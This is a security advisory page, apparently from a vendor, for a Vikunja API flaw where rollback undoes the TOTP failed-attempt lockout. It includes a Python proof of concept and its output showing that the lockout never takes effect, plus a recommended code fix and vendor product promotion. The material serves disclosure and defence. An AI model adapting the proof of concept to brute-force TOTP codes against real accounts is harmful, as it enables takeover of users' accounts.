GHSA-fgfv-pv97-6cmj is a medium-severity (CVSS 5.9) CWE-307 vulnerability in code.vikunja.io/api. O3 Security confirms whether GHSA-fgfv-pv97-6cmj is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Vikunja Vulnerable to TOTP Brute-Force Due to Non-Functional Account Lockout
Real-World Exposure
code.vikunja.io/apiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The TOTP failed-attempt lockout mechanism is non-functional due to a database transaction handling bug. The account lock is written to the same database session that the login handler always rolls back on TOTP failure, so the lockout is triggered but never persisted. This allows unlimited brute-force attempts against TOTP codes.
Details
When a TOTP validation fails, the login handler at pkg/routes/api/v1/login.go:95-101 calls HandleFailedTOTPAuth and then unconditionally rolls back:
if err != nil {
if user2.IsErrInvalidTOTPPasscode(err) {
user2.HandleFailedTOTPAuth(s, user)
}
_ = s.Rollback()
return err
}
HandleFailedTOTPAuth at pkg/user/totp.go:201-247 uses an in-memory counter (key-value store) to track failed attempts. When the counter reaches 10, it calls user.SetStatus(s, StatusAccountLocked) on the same database session s. Because the login handler always rolls back after a TOTP failure, the StatusAccountLocked write is undone.
The in-memory counter correctly increments past 10, so the lockout code executes on every subsequent attempt, but the database write is rolled back every time.
Proof of Concept
Tested on Vikunja v2.2.2. Requires pyotp (pip install pyotp).
import requests, time, pyotp
TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"
def h(token):
return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
# setup: login, enroll and enable TOTP
token = requests.post(f"{API}/login",
json={"username": "totp_user", "password": "TotpUser1!"}).json()["token"]
secret = requests.post(f"{API}/user/settings/totp/enroll", headers=h(token)).json()["secret"]
totp = pyotp.TOTP(secret)
requests.post(f"{API}/user/settings/totp/enable", headers=h(token),
json={"passcode": totp.now()})
# send 9 failed attempts (rate limit is 10/min)
for i in range(1, 10):
r = requests.post(f"{API}/login",
json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": "000000"})
print(f"Attempt {i}: {r.status_code} code={r.json().get('code')}")
# wait for rate limit reset, send 3 more (past the 10-attempt lockout threshold)
time.sleep(65)
for i in range(10, 13):
r = requests.post(f"{API}/login",
json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": "000000"})
print(f"Attempt {i}: {r.status_code} code={r.json().get('code')}")
# wait for rate limit, try with valid TOTP
time.sleep(65)
r = requests.post(f"{API}/login",
json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": totp.now()})
print(f"Valid TOTP login: {r.status_code}") # 200 - account was never locked
Output:
Attempt 1: 412 code=1017
...
Attempt 9: 412 code=1017
Attempt 10: 412 code=1017
Attempt 11: 412 code=1017
Attempt 12: 412 code=1017
Valid TOTP login: 200
The account was never locked despite exceeding the 10-attempt threshold. The per-IP rate limit of 10 requests/minute requires spacing attempts, but an attacker with multiple source IPs can parallelize.
Impact
An attacker who has obtained a user's password (via phishing, credential stuffing, or database breach) can bypass TOTP two-factor authentication by brute-forcing 6-digit codes. The intended account lockout after 10 failed attempts never takes effect. While per-IP rate limiting provides friction, a distributed attacker can exhaust the TOTP code space.
Recommended Fix
Have HandleFailedTOTPAuth create and commit its own independent database session for the lockout operation:
// Use a new session so the lockout persists regardless of caller's rollback
lockoutSession := db.NewSession()
defer lockoutSession.Close()
err = user.SetStatus(lockoutSession, StatusAccountLocked)
if err != nil {
_ = lockoutSession.Rollback()
return
}
_ = lockoutSession.Commit()
Found and reported by aisafe.io
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | code.vikunja.io/api | all versions | 2.3.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.vikunja.io/api. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update code.vikunja.io/api to 2.3.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-fgfv-pv97-6cmj is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-fgfv-pv97-6cmj is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-fgfv-pv97-6cmj. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-fgfv-pv97-6cmj in your dependencies?
O3 detects GHSA-fgfv-pv97-6cmj across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.